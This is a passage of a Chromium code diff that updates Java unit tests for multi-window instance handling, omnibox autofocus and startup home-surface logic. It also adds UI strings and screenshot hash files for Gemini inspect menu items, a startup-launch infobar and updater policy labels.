+        assertEquals(
+                "Instance 1 should be inactive.", 1, inactiveUsableInstances.get(0).instanceId);
+
+        // Verify #getRecentlyClosedInstances() list.
+        List<InstanceInfo> closedInstances = mMultiInstanceManager.getRecentlyClosedInstances();
+        assertEquals("# of recently closed instances is incorrect.", 0, closedInstances.size());
     }
 
     @Test
@@ -885,10 +947,8 @@
         mMultiInstanceManager.closeWindows(
                 Collections.singletonList(1), CloseWindowAppSource.WINDOW_MANAGER);
 
-        // Verify the soft-closed instance becomes an inactive instance.
-        assertEquals(2, mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ACTIVE).size());
-        assertEquals(
-                1, mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.INACTIVE).size());
+        // Verify that the instance marked for deletion is not considered usable.
+        assertEquals(2, mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY).size());
 
         // Verify that closure time is updated.
         assertTrue(MultiInstancePersistentStore.readClosureTime(/* instanceId= */ 1) > initialTime);
@@ -901,19 +961,11 @@
         List<InstanceInfo> closedInstanceInfo = captor.getValue();
         assertEquals("There should be exactly 1 InstanceInfo.", 1, closedInstanceInfo.size());
         assertEquals("Instance ID should be 1.", 1, closedInstanceInfo.get(0).instanceId);
-        assertTrue(
-                "markedForDeletion should be true for soft closure.",
-                closedInstanceInfo.get(0).markedForDeletion);
 
-        // Verify the soft-closed instance is correctly marked for deletion.
-        for (InstanceInfo instanceInfo :
-                mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY)) {
-            if (instanceInfo.instanceId == 1) {
-                assertTrue(instanceInfo.markedForDeletion);
-            } else {
-                assertFalse(instanceInfo.markedForDeletion);
-            }
-        }
+        // Verify the instance is correctly marked for deletion.
+        assertTrue(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 1));
+        assertFalse(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 0));
+        assertFalse(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 2));
 
         // Subsequent restoration should update `markedForDeletion` instance state.
         MultiWindowTestUtils.enableMultiInstance();
@@ -921,7 +973,7 @@
         List<InstanceInfo> instanceInfoList =
                 mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY);
         assertEquals(3, instanceInfoList.size());
-        assertFalse(instanceInfoList.get(1).markedForDeletion);
+        assertFalse(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 1));
     }
 
     @Test
@@ -997,13 +1049,13 @@
         inOrderVerifier.verify(mCurrentActivity).finishAndRemoveTask();
 
         // Verify that we have persisted state for all 3 instances, that are now marked for
-        // deletion.
+        // deletion and considered unusable.
         List<InstanceInfo> instances =
                 mMultiInstanceManager.getInstanceInfo(PersistedInstanceType.ANY);
-        assertEquals(3, instances.size());
-        for (InstanceInfo info : instances) {
-            assertTrue("Instance should be marked for deletion.", info.markedForDeletion);
-        }
+        assertEquals(0, instances.size());
+        assertTrue(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 0));
+        assertTrue(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 1));
+        assertTrue(MultiInstancePersistentStore.readMarkedForDeletion(/* instanceId= */ 2));
 
         // Verify that subsequent id allocation uses a new id, not a persisted one marked for
         // deletion.
@@ -1585,7 +1637,7 @@
     }
 
     // Simulate only an activity gets destroyed, leaving everything intact.
-    private void softCloseInstance(Activity activity, int ignored) {
+    private void softCloseInstance(Activity activity) {
         destroyActivity(activity);
     }
 
@@ -2046,8 +2098,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 0,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false);
+                        /* closureTime= */ 0);
         mMultiInstanceManager.moveTabsToWindow(
                 info,
                 Collections.singletonList(mTab1),
@@ -2088,8 +2139,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 0,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false);
+                        /* closureTime= */ 0);
         mMultiInstanceManager.moveTabsToWindow(
                 info, tabs, /* tabAtIndex= */ 0, NewWindowAppSource.OTHER);
 
@@ -2123,8 +2173,7 @@
                         /* incognitoTabCount= */ 0,
                         /* isIncognitoSelected= */ false,
                         /* lastAccessedTime= */ 0,
-                        /* closureTime= */ 0,
-                        /* markedForDeletion= */ false);
+                        /* closureTime= */ 0);
         mMultiInstanceManager.moveTabGroupToWindow(
                 info, mTabGroupMetadata, /* startIndex= */ 0, NewWindowAppSource.OTHER);
 
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/ntp/IncognitoNtpOmniboxAutofocusManagerUnitTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/ntp/IncognitoNtpOmniboxAutofocusManagerUnitTest.java
index 511f86a..e67099db 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/ntp/IncognitoNtpOmniboxAutofocusManagerUnitTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/ntp/IncognitoNtpOmniboxAutofocusManagerUnitTest.java
@@ -7,8 +7,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyBoolean;
-import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.isNotNull;
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.when;
@@ -45,8 +44,6 @@
 import org.chromium.chrome.browser.tabmodel.TabModelObserver;
 import org.chromium.chrome.browser.tabmodel.TabModelSelector;
 import org.chromium.chrome.browser.util.ChromeAccessibilityUtil;
-import org.chromium.components.omnibox.AutocompleteRequestType;
-import org.chromium.components.omnibox.OmniboxFocusReason;
 import org.chromium.url.GURL;
 import org.chromium.url.JUnitTestGURLs;
 
@@ -187,16 +184,9 @@
 
     private void verifyAutofocus(boolean shouldBeCalled) {
         if (shouldBeCalled) {
-            verify(mOmniboxStub)
-                    .setUrlBarFocus(
-                            /* shouldBeFocused= */ true,
-                            null,
-                            /* selectText= */ false,
-                            OmniboxFocusReason.OMNIBOX_TAP,
-                            AutocompleteRequestType.SEARCH);
+            verify(mOmniboxStub).setUrlBarFocus(isNotNull());
         } else {
-            verify(mOmniboxStub, never())
-                    .setUrlBarFocus(anyBoolean(), any(), anyBoolean(), anyInt(), anyInt());
+            verify(mOmniboxStub, never()).setUrlBarFocus(any());
         }
     }
 
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/tab/TabBrowserControlsConstraintsHelperTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/tab/TabBrowserControlsConstraintsHelperTest.java
index c099046..78edc31 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/tab/TabBrowserControlsConstraintsHelperTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/tab/TabBrowserControlsConstraintsHelperTest.java
@@ -156,7 +156,6 @@
         mVisibilityDelegate.set(BrowserControlsState.SHOWN);
         Mockito.verify(mJniMock, Mockito.never())
                 .updateState(
-                        Mockito.anyLong(),
                         Mockito.any(),
                         Mockito.anyInt(),
                         Mockito.anyInt(),
@@ -256,7 +255,6 @@
             boolean animate) {
         Mockito.verify(mJniMock)
                 .updateState(
-                        Mockito.anyLong(),
                         Mockito.same(mWebContents),
                         Mockito.eq(constraints),
                         Mockito.eq(current),
@@ -270,7 +268,6 @@
             ArgumentCaptor<BrowserControlsOffsetTagModifications> captor) {
         Mockito.verify(mJniMock)
                 .updateState(
-                        Mockito.anyLong(),
                         Mockito.same(mWebContents),
                         Mockito.eq(constraints),
                         Mockito.anyInt(),
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/tasks/ReturnToChromeUtilUnitTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/tasks/ReturnToChromeUtilUnitTest.java
index 5037591..69ebfbd 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/tasks/ReturnToChromeUtilUnitTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/tasks/ReturnToChromeUtilUnitTest.java
@@ -17,6 +17,7 @@
 import static org.mockito.Mockito.when;
 
 import static org.chromium.chrome.browser.flags.ChromeFeatureList.sStartSurfaceReturnTimeTabletSecs;
+import static org.chromium.chrome.browser.incognito.reauth.IncognitoReauthControllerImpl.PREVIOUS_VERSION_CODE;
 import static org.chromium.chrome.browser.tasks.ReturnToChromeUtil.FAIL_TO_SHOW_HOME_SURFACE_UI_UMA;
 import static org.chromium.chrome.browser.tasks.ReturnToChromeUtil.HOME_SURFACE_SHOWN_AT_STARTUP_UMA;
 import static org.chromium.chrome.browser.tasks.ReturnToChromeUtil.HOME_SURFACE_SHOWN_UMA;
@@ -27,6 +28,7 @@
 import android.content.Intent;
 import android.content.res.Resources;
 import android.os.Bundle;
+import android.os.PersistableBundle;
 import android.text.format.DateUtils;
 
 import androidx.test.filters.SmallTest;
@@ -52,6 +54,7 @@
 import org.chromium.base.test.util.CommandLineFlags;
 import org.chromium.base.test.util.Features.EnableFeatures;
 import org.chromium.base.test.util.HistogramWatcher;
+import org.chromium.build.BuildConfig;
 import org.chromium.chrome.browser.ChromeInactivityTracker;
 import org.chromium.chrome.browser.app.ChromeActivity;
 import org.chromium.chrome.browser.flags.ChromeFeatureList;
@@ -172,13 +175,13 @@
         assertTrue(IntentUtils.isMainIntentFromLauncher(intent));
         assertTrue(
                 ReturnToChromeUtil.shouldShowNtpAsHomeSurfaceAtStartup(
-                        intent, null, mInactivityTracker));
+                        intent, null, /* persistableBundle= */ null, mInactivityTracker));
 
         // Tests the case when the total tab count > 0. Verifies that home surface NTP is shown
         doReturn(1).when(mTabModelSelector).getTotalTabCount();
         assertTrue(
                 ReturnToChromeUtil.shouldShowNtpAsHomeSurfaceAtStartup(
-                        intent, null, mInactivityTracker));
+                        intent, null, /* persistableBundle= */ null, mInactivityTracker));
     }
 
     @Test
@@ -432,21 +435,71 @@
         assertTrue(IntentUtils.isMainIntentFromLauncher(intent));
         assertTrue(
                 ReturnToChromeUtil.shouldShowNtpAsHomeSurfaceAtStartup(
-                        intent, mSaveInstanceState, mInactivityTracker));
+                        intent,
+                        mSaveInstanceState,
+                        /* persistableBundle= */ null,
+                        mInactivityTracker));
 
         doReturn(true)
                 .when(mSaveInstanceState)
                 .getBoolean(ChromeActivity.IS_FROM_RECREATING, false);
         assertFalse(
                 ReturnToChromeUtil.shouldShowNtpAsHomeSurfaceAtStartup(
-                        intent, mSaveInstanceState, mInactivityTracker));
+                        intent,
+                        mSaveInstanceState,
+                        /* persistableBundle= */ null,
+                        mInactivityTracker));
 
         doReturn(false)
                 .when(mSaveInstanceState)
                 .getBoolean(ChromeActivity.IS_FROM_RECREATING, false);
         assertTrue(
                 ReturnToChromeUtil.shouldShowNtpAsHomeSurfaceAtStartup(
-                        intent, mSaveInstanceState, mInactivityTracker));
+                        intent,
+                        mSaveInstanceState,
+                        /* persistableBundle= */ null,
+                        mInactivityTracker));
+    }
+
+    @Test
+    @SmallTest
+    @EnableFeatures({ChromeFeatureList.PERSIST_ACROSS_REBOOTS})
+    public void testShouldNotShowNtpOnAppUpdate() {
+        // Sets main intent from launcher:
+        Intent intent = createMainIntentFromLauncher();
+
+        // Sets background time to make the return time arrive:
+        ChromeSharedPreferences.getInstance()
+                .addToStringSet(
+                        ChromePreferenceKeys.TABBED_ACTIVITY_LAST_BACKGROUNDED_TIME_MS_PREF, "0");
+        sStartSurfaceReturnTimeTabletSecs.setForTesting(0);
+        assertTrue(ReturnToChromeUtil.shouldShowTabSwitcher(0));
+
+        // There should always be at least 1 tab. Otherwise one will be created regardless.
+        doReturn(true).when(mTabModelSelector).isTabStateInitialized();
+        doReturn(1).when(mTabModelSelector).getTotalTabCount();
+
+        doReturn(false)
+                .when(mSaveInstanceState)
+                .getBoolean(ChromeActivity.IS_FROM_RECREATING, false);
+
+        assertTrue(IntentUtils.isMainIntentFromLauncher(intent));
+
+        PersistableBundle persistentState = new PersistableBundle();
+        persistentState.putLong(PREVIOUS_VERSION_CODE, BuildConfig.VERSION_CODE);
+        assertTrue(
+                ReturnToChromeUtil.shouldShowNtpAsHomeSurfaceAtStartup(
+                        intent, mSaveInstanceState, persistentState, mInactivityTracker));
+
+        persistentState.putLong(PREVIOUS_VERSION_CODE, BuildConfig.VERSION_CODE - 1);
+        assertFalse(
+                ReturnToChromeUtil.shouldShowNtpAsHomeSurfaceAtStartup(
+                        intent, mSaveInstanceState, persistentState, mInactivityTracker));
+
+        persistentState.putLong(PREVIOUS_VERSION_CODE, BuildConfig.VERSION_CODE);
+        assertTrue(
+                ReturnToChromeUtil.shouldShowNtpAsHomeSurfaceAtStartup(
+                        intent, mSaveInstanceState, persistentState, mInactivityTracker));
     }
 
     @Test
diff --git a/chrome/app/chrome_command_ids.h b/chrome/app/chrome_command_ids.h
index c5249456..ee40849 100644
--- a/chrome/app/chrome_command_ids.h
+++ b/chrome/app/chrome_command_ids.h
@@ -306,6 +306,8 @@
 #define IDC_SHOW_COMMENTS_SIDE_PANEL  40297
 #define IDC_RECENT_TABS_SEE_DEVICE_TABS  40298
 #define IDC_SHOW_AI_MODE_OMNIBOX_BUTTON 40299
+#define IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI 40300
+#define IDC_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS 40301
 
 // Spell-check
 // Insert any additional suggestions before _LAST; these have to be consecutive.
diff --git a/chrome/app/chromium_strings.grd b/chrome/app/chromium_strings.grd
index 9bf6c43..037d2f14 100644
--- a/chrome/app/chromium_strings.grd
+++ b/chrome/app/chromium_strings.grd
@@ -2248,6 +2248,10 @@
           desc="The hint text of the AI mode searchbox in the Lens side panel. This text is shown in the searchbox when the user has not yet typed any text but has opened the overlay to make AIM follow up queries.">
           Search anything on page
         </message>
+        <message name="IDS_LENS_COMPOSEBOX_HINT_TEXT_SELECT_PAGE"
+          desc="The hint text of the AI mode searchbox in the Lens side panel. This text is shown in the searchbox when the user has not yet typed any text but has opened the overlay to make AIM follow up queries.">
+          Select anything on page
+        </message>
         <message name="IDS_LENS_COMPOSEBOX_HINT_TEXT_ASK_ANYTHING"
           desc="The hint text of the AI mode searchbox in the Lens tab. This text is shown in the searchbox when the user has not yet typed any text, and prompts the user to ask a question.">
           Ask anything
@@ -2258,16 +2262,6 @@
           Ask<ph name="LINE_BREAK">$1</ph>about this tab
         </message>
 
-        <message name="IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE"
-          desc="Title for the AI Mode zero state welcome message in the Lens tab. The first placeholder is the user's given name.">
-          Hi <ph name="USER_NAME">$1<ex>Josh</ex></ph>, what's on your mind?
-        </message>
-
-        <message name="IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME"
-          desc="Title for the AI Mode zero state welcome message in the Lens tab.">
-          What's on your mind?
-        </message>
-
         <message name="IDS_AI_MODE_NEW_SEARCH"
           desc="Header in the Lens side panel indicating a new AI Mode search session.">
           New search
@@ -2595,6 +2589,18 @@
         <message name="IDS_SETTINGS_FOREGROUND_LAUNCH_ON_STARTUP_LABEL" desc="Label for settings toggle button that enables or disables opening Chromium on system startup">
           Open Chromium when my computer starts
         </message>
+        <message name="IDS_STARTUP_LAUNCH_INFOBAR_OPT_IN_TITLE" desc="Title of the infobar shown to ask the user if they want to allow Chromium to launch when windows starts." translateable="false">
+          Begin browsing instantly. Chromium can now launch when windows starts. Allow Chromium to open automatically?
+        </message>
+        <message name="IDS_STARTUP_LAUNCH_INFOBAR_OPT_OUT_TITLE" desc="Title of the infobar shown to inform the user that Chromium now starts automatically when Windows starts." translateable="false">
+          Chromium now starts automatically when Windows starts. You can turn this off in Settings.
+        </message>
+        <message name="IDS_STARTUP_LAUNCH_INFOBAR_ALLOW_BUTTON" desc="Label for the button on the infobar offering to allow Chromium to launch when windows starts." translateable="false">
+          Allow
+        </message>
+        <message name="IDS_STARTUP_LAUNCH_INFOBAR_SETTINGS_BUTTON" desc="Label for the button on the infobar that opens settings." translateable="false">
+          Settings
+        </message>
       </if>
 
       <!-- Advanced security settings -->
diff --git a/chrome/app/chromium_strings_grd/IDS_LENS_COMPOSEBOX_HINT_TEXT_SELECT_PAGE.png.sha1 b/chrome/app/chromium_strings_grd/IDS_LENS_COMPOSEBOX_HINT_TEXT_SELECT_PAGE.png.sha1
new file mode 100644
index 0000000..474d392
--- /dev/null
+++ b/chrome/app/chromium_strings_grd/IDS_LENS_COMPOSEBOX_HINT_TEXT_SELECT_PAGE.png.sha1
@@ -0,0 +1 @@
+144c4a388f54df99264c9a40a56287b6756005bb
\ No newline at end of file
diff --git a/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_ALLOW_BUTTON.png.sha1 b/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_ALLOW_BUTTON.png.sha1
new file mode 100644
index 0000000..94c1afb
--- /dev/null
+++ b/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_ALLOW_BUTTON.png.sha1
@@ -0,0 +1 @@
+39dbd8754e2e5b5eff9e9dc7c63a196ae7840dc9
\ No newline at end of file
diff --git a/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_IN_TITLE.png.sha1 b/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_IN_TITLE.png.sha1
new file mode 100644
index 0000000..94c1afb
--- /dev/null
+++ b/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_IN_TITLE.png.sha1
@@ -0,0 +1 @@
+39dbd8754e2e5b5eff9e9dc7c63a196ae7840dc9
\ No newline at end of file
diff --git a/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_OUT_TITLE.png.sha1 b/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_OUT_TITLE.png.sha1
new file mode 100644
index 0000000..44676c6
--- /dev/null
+++ b/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_OPT_OUT_TITLE.png.sha1
@@ -0,0 +1 @@
+ce04b657a08695789cf725e1a6aa73e11815c38d
\ No newline at end of file
diff --git a/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_SETTINGS_BUTTON.png.sha1 b/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_SETTINGS_BUTTON.png.sha1
new file mode 100644
index 0000000..44676c6
--- /dev/null
+++ b/chrome/app/chromium_strings_grd/IDS_STARTUP_LAUNCH_INFOBAR_SETTINGS_BUTTON.png.sha1
@@ -0,0 +1 @@
+ce04b657a08695789cf725e1a6aa73e11815c38d
\ No newline at end of file
diff --git a/chrome/app/generated_resources.grd b/chrome/app/generated_resources.grd
index aa6e9a48..1739375 100644
--- a/chrome/app/generated_resources.grd
+++ b/chrome/app/generated_resources.grd
@@ -583,6 +583,12 @@
         <message name="IDS_CONTENT_CONTEXT_INSPECTELEMENT" desc="The name of the Inspect Element command in the content area context menu">
           I&amp;nspect
         </message>
+        <message name="IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI" desc="Context menu item for inspecting the element with Gemini.">
+          With Gemini
+        </message>
+        <message name="IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS" desc="Context menu item for inspecting the element with DevTools.">
+          With DevTools
+        </message>
         <message name="IDS_CONTENT_CONTEXT_ACCESSIBILITY_LABELS_DIALOG_TITLE" desc="The title of a dialog that asks whether to integrate the accessibility image labeling service of Google to Chrome.">
           Get image descriptions from Google?
         </message>
@@ -20058,6 +20064,27 @@
       <message name="IDS_UPDATER_PERSISTED_DATA_SUMMARY" desc="Summary of an event indicating how many apps are registered.">
         <ph name="APP_COUNT">$1<ex>5</ex></ph> apps registered
       </message>
+      <message name="IDS_UPDATER_POLICY_CONFLICT_WARNING" desc="Tooltip for a warning icon in the enterprise policy table indicating that a policy has been configured differently from multiple sources.">
+        Policy configured with conflicting values from multiple sources.
+      </message>
+      <message name="IDS_UPDATER_POLICY_IGNORED" desc="Label for a value of an enterprise policy that is being ignored because another source has higher priority.">
+        Ignored:
+      </message>
+      <message name="IDS_UPDATER_POLICY_NAME" desc="Title of a column in the enterprise policy table which displays the name of the policy.">
+        Policy Name
+      </message>
+      <message name="IDS_UPDATER_POLICY_OK" desc="Tooltip for a checkmark icon in the enterprise policy table indicating that a policy has been configured.">
+        Policy configured.
+      </message>
+      <message name="IDS_UPDATER_POLICY_SOURCE" desc="Title of a column in the enterprise policy table which displays the source of the policy (e.g. 'Platform', 'Cloud').">
+        Source
+      </message>
+      <message name="IDS_UPDATER_POLICY_STATUS" desc="Title of a column in the enterprise policy table which displays the status of the policy.">
+        Status
+      </message>
+      <message name="IDS_UPDATER_POLICY_VALUE" desc="Title of a column in the enterprise policy table which displays the value of the policy.">
+        Policy Value
+      </message>
       <message name="IDS_UPDATER_PROCESS_SUMMARY" desc="Summary of an event that involved executing a command on the system, including the numeric exit code.">
         Process exited with code <ph name="EXIT_CODE">$1<ex>0</ex></ph>
       </message>
diff --git a/chrome/app/generated_resources_grd/IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS.png.sha1 b/chrome/app/generated_resources_grd/IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS.png.sha1
new file mode 100644
index 0000000..d248cc0
--- /dev/null
+++ b/chrome/app/generated_resources_grd/IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_DEVTOOLS.png.sha1
@@ -0,0 +1 @@
+1a7a4e37ecfda30b2fe777d2a949e3052307799c
\ No newline at end of file
diff --git a/chrome/app/generated_resources_grd/IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI.png.sha1 b/chrome/app/generated_resources_grd/IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI.png.sha1
new file mode 100644
index 0000000..d248cc0
--- /dev/null
+++ b/chrome/app/generated_resources_grd/IDS_CONTENT_CONTEXT_INSPECTELEMENT_WITH_GEMINI.png.sha1
@@ -0,0 +1 @@
+1a7a4e37ecfda30b2fe777d2a949e3052307799c
\ No newline at end of file
diff --git a/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_CONFLICT_WARNING.png.sha1 b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_CONFLICT_WARNING.png.sha1
new file mode 100644
index 0000000..1d6aaffc
--- /dev/null
+++ b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_CONFLICT_WARNING.png.sha1
@@ -0,0 +1 @@
+2860cc474cddcee47fe52eeb2d3fdada3d8a4df0
\ No newline at end of file
diff --git a/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_IGNORED.png.sha1 b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_IGNORED.png.sha1
new file mode 100644
index 0000000..8eef575
--- /dev/null
+++ b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_IGNORED.png.sha1
@@ -0,0 +1 @@
+2e3d0dffd5db21f64f806c7f918fb4721ba1080f
\ No newline at end of file
diff --git a/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_NAME.png.sha1 b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_NAME.png.sha1
new file mode 100644
index 0000000..b59911d
--- /dev/null
+++ b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_NAME.png.sha1
@@ -0,0 +1 @@
+6536b5b5f16b2dbed2928da2ffc8e93e5510b0f6
\ No newline at end of file
diff --git a/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_OK.png.sha1 b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_OK.png.sha1
new file mode 100644
index 0000000..f66fbeea
--- /dev/null
+++ b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_OK.png.sha1
@@ -0,0 +1 @@
+dc9694d0e2559e3b36829070f58ccf6b01ec495d
\ No newline at end of file
diff --git a/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_SOURCE.png.sha1 b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_SOURCE.png.sha1
new file mode 100644
index 0000000..c6e1c8d
--- /dev/null
+++ b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_SOURCE.png.sha1
@@ -0,0 +1 @@
+c1fe22f95ebdbe1322349f24e2b6bd1bc1bf1ee3
\ No newline at end of file
diff --git a/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_STATUS.png.sha1 b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_STATUS.png.sha1
new file mode 100644
index 0000000..d6445c5
--- /dev/null
+++ b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_STATUS.png.sha1
@@ -0,0 +1 @@
+7ec233b5e9f7beffab2601a219481d29737df31b
\ No newline at end of file
diff --git a/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_VALUE.png.sha1 b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_VALUE.png.sha1
new file mode 100644
index 0000000..d197f4d
--- /dev/null
+++ b/chrome/app/generated_resources_grd/IDS_UPDATER_POLICY_VALUE.png.sha1
@@ -0,0 +1 @@
+83464c5961fb56e9b80e40d8c080f43ccd937988
\ No newline at end of file
diff --git a/chrome/app/glic_strings.grdp b/chrome/app/glic_strings.grdp
index 783c8176..da551e4 100644
--- a/chrome/app/glic_strings.grdp
+++ b/chrome/app/glic_strings.grdp
@@ -20,7 +20,7 @@
   <message name="IDS_GLIC_PROMO_BODY" desc="Text for a promo pointing to the Gemini icon in Chrome.">
     Chat with voice or text to get answers, key takeaways, and more as you browse
   </message>
-  <if expr="is_win or is_linux or is_chromeos">
+  <if expr="is_win or is_linux or is_chromeos or is_android">
     <message name="IDS_GLIC_STATUS_ICON_MENU_CUSTOMIZE_KEYBOARD_SHORTCUT" desc="Menu text for the Gemini icon on the system try to open Chrome settings and change the keyboard shortcut for opening Gemini in Chrome.">
       Customize keyboard shortcut
     </message>
@@ -30,12 +30,12 @@
       Customize Keyboard Shortcut...
     </message>
   </if>
-  <if expr="is_win or is_linux or is_chromeos">
+  <if expr="is_win or is_linux or is_chromeos or is_android">
     <message name="IDS_GLIC_STATUS_ICON_MENU_EXIT" desc="This is the menu item for exiting Chrome.">
       Exit
     </message>
   </if>
-  <if expr="is_win or is_linux or is_chromeos">
+  <if expr="is_win or is_linux or is_chromeos or is_android">
     <message name="IDS_GLIC_STATUS_ICON_MENU_SETTINGS" desc="This is the menu item for opening the Gemini status icon settings.">
       Settings
     </message>
diff --git a/chrome/app/google_chrome_strings.grd b/chrome/app/google_chrome_strings.grd
index 148ca07..8bbfc4d9 100644
--- a/chrome/app/google_chrome_strings.grd
+++ b/chrome/app/google_chrome_strings.grd
@@ -2264,6 +2264,10 @@
           desc="The hint text of the AI mode searchbox in the Lens side panel. This text is shown in the searchbox when the user has not yet typed any text but has opened the overlay to make AIM follow up queries.">
           Search anything on page
         </message>
+        <message name="IDS_LENS_COMPOSEBOX_HINT_TEXT_SELECT_PAGE"
+          desc="The hint text of the AI mode searchbox in the Lens side panel. This text is shown in the searchbox when the user has not yet typed any text but has opened the overlay to make AIM follow up queries.">
+          Select anything on page
+        </message>
         <message name="IDS_LENS_COMPOSEBOX_HINT_TEXT_ASK_ANYTHING"
           desc="The hint text of the AI mode searchbox in the Lens tab. This text is shown in the searchbox when the user has not yet typed any text, and prompts the user to ask a question.">
           Ask anything
@@ -2274,16 +2278,6 @@
           Ask Google<ph name="LINE_BREAK">$1</ph>about this tab
         </message>
 
-        <message name="IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE"
-          desc="Title for the AI Mode zero state welcome message in the Lens tab. The first placeholder is the user's given name.">
-          Hi <ph name="USER_NAME">$1<ex>Josh</ex></ph>, what's on your mind?
-        </message>
-
-        <message name="IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE_WITHOUT_NAME"
-          desc="Title for the AI Mode zero state welcome message in the Lens tab.">
-          What's on your mind?
-        </message>
-
         <message name="IDS_AI_MODE_NEW_SEARCH"
           desc="Header in the Lens side panel indicating a new AI Mode search session.">
           New search
@@ -2619,6 +2613,18 @@
         <message name="IDS_SETTINGS_FOREGROUND_LAUNCH_ON_STARTUP_LABEL" desc="Label for settings toggle button that enables or disables opening Chrome on system startup">
           Open Chrome when my computer starts
         </message>
+        <message name="IDS_STARTUP_LAUNCH_INFOBAR_OPT_IN_TITLE" desc="Title of the infobar shown to ask the user if they want to allow Chrome to launch when windows starts." translateable="false">
+          Begin browsing instantly. Chrome can now launch when windows starts. Allow Chrome to open automatically?
+        </message>
+        <message name="IDS_STARTUP_LAUNCH_INFOBAR_OPT_OUT_TITLE" desc="Title of the infobar shown to inform the user that Chrome now starts automatically when Windows starts." translateable="false">
+          Chrome now starts automatically when Windows starts. You can turn this off in Settings.
+        </message>
+        <message name="IDS_STARTUP_LAUNCH_INFOBAR_ALLOW_BUTTON" desc="Label for the button on the infobar offering to allow Chrome to launch when windows starts." translateable="false">
+          Allow
+        </message>
+        <message name="IDS_STARTUP_LAUNCH_INFOBAR_SETTINGS_BUTTON" desc="Label for the button on the infobar that opens settings." translateable="false">
+          Settings
+        </message>
       </if>
 
       <!-- Advanced security settings -->
diff --git a/chrome/app/google_chrome_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE.png.sha1 b/chrome/app/google_chrome_strings_grd/IDS_AI_MODE_FRIENDLY_ZERO_STATE_TITLE.png.sha1
deleted file mode 100644
index 99abc5ae..0000000
